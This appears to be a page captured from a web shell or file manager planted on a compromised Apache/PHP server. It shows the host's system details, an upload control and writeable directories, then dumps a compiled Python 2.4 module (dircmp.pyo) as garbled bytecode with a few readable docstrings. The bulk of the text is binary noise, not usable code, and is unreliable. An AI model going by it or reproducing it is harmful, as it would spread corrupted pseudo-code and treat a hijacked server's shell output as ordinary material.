KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/lib64/python2.4/lib-old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.4/lib-old/dircmp.pyo
mς
‚=5Dc@s„dZdkZdkZdkZdkZdkTdfd„ƒYZd„Zd„Zd„Z	d„Z
ed	joe
ƒndS(
s)A class to build directory diff tools on.N(t*tdircmpcBshtZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„ZRS(sDirectory comparison class.cCs:||_||_titig|_ddg|_|S(sInitialize.tRCSttagsN(tatselftbtostcurdirtpardirthidetignore(RRR((t&/usr/lib64/python2.4/lib-old/dircmp.pytnew
s		cCs~tti|iƒ|iƒ|_tti|iƒ|iƒ|_|ii	ƒ|ii	ƒ|i
ƒ|iƒ|iƒdS(s0Compare everything except common subdirectories.N(
tfiltertdircachetlistdirRRR
ta_listRtb_listtsorttphase1tphase2tphase3(R((Rtruns!!



cCsŸg|_g|_xE|iD]:}||ijo|ii|ƒq|ii|ƒqWg|_x5|iD]*}||ijo|ii|ƒqmqmWdS(sCompute common names.N(Rta_onlytcommonRtxRtappendtb_only(RR((RR!s		
	
c
Csg|_g|_g|_x]|iD]R}tii|i	|ƒ}tii|i|ƒ}d}yti|ƒ}Wntij
o}	d}nXyti|ƒ}Wntij
o}	d}nX|o—t|tƒ}t|tƒ}||jo|ii|ƒqwt|ƒo|ii|ƒqwt|ƒo|ii|ƒqw|ii|ƒq%|ii|ƒq%WdS(s(Distinguish files, directories, funnies.iiN(Rtcommon_dirstcommon_filestcommon_funnyRRRtpathtjoinRta_pathRtb_pathtokt	statcachetstatta_statterrortwhytb_stattS_IFMTtST_MODEta_typetb_typeRtS_ISDIRtS_ISREG(
RR#R$R.R*R-R'R"RR)((RR0s8			



cCs7t|i|i|iƒ}|\|_|_|_dS(s*Find out differences between common files.N(	tcmpfilesRRRRtxxt
same_filest
diff_filestfunny_files(RR2((RRTscCs“h|_xƒ|iD]x}tii|i|ƒ}tii|i	|ƒ}tƒi||ƒ|i|<}|i|_|i|_|iƒqWdS(sόFind out differences between common subdirectories.
        A new dircmp object is created for each common subdirectory,
        these are stored in a dictionary indexed by filename.
        The hide and ignore properties are inherited from the parent.N(RtsubdirsRRRR R!Rta_xRtb_xRR
tnewddR
RR(RR7R8RR9((Rtphase4Ys	
 cCs9|iƒx(|iiƒD]}|i|iƒqWdS(s,Recursively call phase4() on subdirectories.N(RR:R6tkeysRtphase4_closure(RR((RR<gs

cCsγdG|iG|iGH|iodG|iGdG|iGHn|iodG|iGdG|iGHn|iodG|iGHn|iodG|iGHn|iodG|iGHn|iodG|iGHn|i	odG|i	GHnd	S(
s2Print a report on the differences between a and b.tdiffsOnly int:sIdentical files :sDiffering files :sTrouble with common files :sCommon subdirectories :sCommon funny cases :N(
RRRRRR3R4R5RR(R((Rtreportms 






cCsa|iƒy
|i}Wntj
odSnXx)|iiƒD]}H|i|iƒqAWdS(siPrint reports on self and on subdirs.
        If phase 4 hasn't been done, no subdir reports are printed.N(RR?R6RtAttributeErrorR;treport_closure(RR((RRAs

	cCsD|iƒ|iƒx)|iiƒD]}H|i|iƒq$WdS(s"Report and do phase 4 recursively.N(RR?R:R6R;Rtreport_phase4_closure(RR((RRBs

(
t__name__t
__module__t__doc__R
RRRRR:R<R?RARB(((RR
s	
	
		$					cCs\gggf}xF|D]>}|ttii||ƒtii||ƒƒi	|ƒqW|S(s¦Compare common files in two directories.
    Return:
        - files that compare equal
        - files that compare different
        - funny cases (can't stat etc.)N(
tresRRtcmpRR R!RRR(RRRRFR((RR1–s<cCsDy#ti||ƒodSndSWntij
odSnXdS(swCompare two files.
    Return:
        0 for equal
        1 for different
        2 for funny cases (can't stat, etc.)iiiN(tcmpcacheRGRRRR((RR((RRG£scCs9g}x,|D]$}||jo|i|ƒq
q
W|S(s4Return a copy with items that occur in skip removed.N(tresulttlisttitemtskipR(RJRLRIRK((RR±s
cCs€dk}dk}|i|iddƒ\}}t|ƒdjo|id‚ntƒi|d|dƒ}|i
ƒd	|jo|iƒn|iƒdS(
sDemonstration and testing.Nitrisneed exactly two argsis-rt(s-rRN(
tsystgetopttargvtoptionstargstlenR(RR
tddRRBR?(RURSRORPRR((RtdemoΊs		

t__main__(RERRRHR%R&RR1RGRRVRC(	RHRR%RRRVR1RRG((Rt?s				Œ	
				


Anon7 - 2021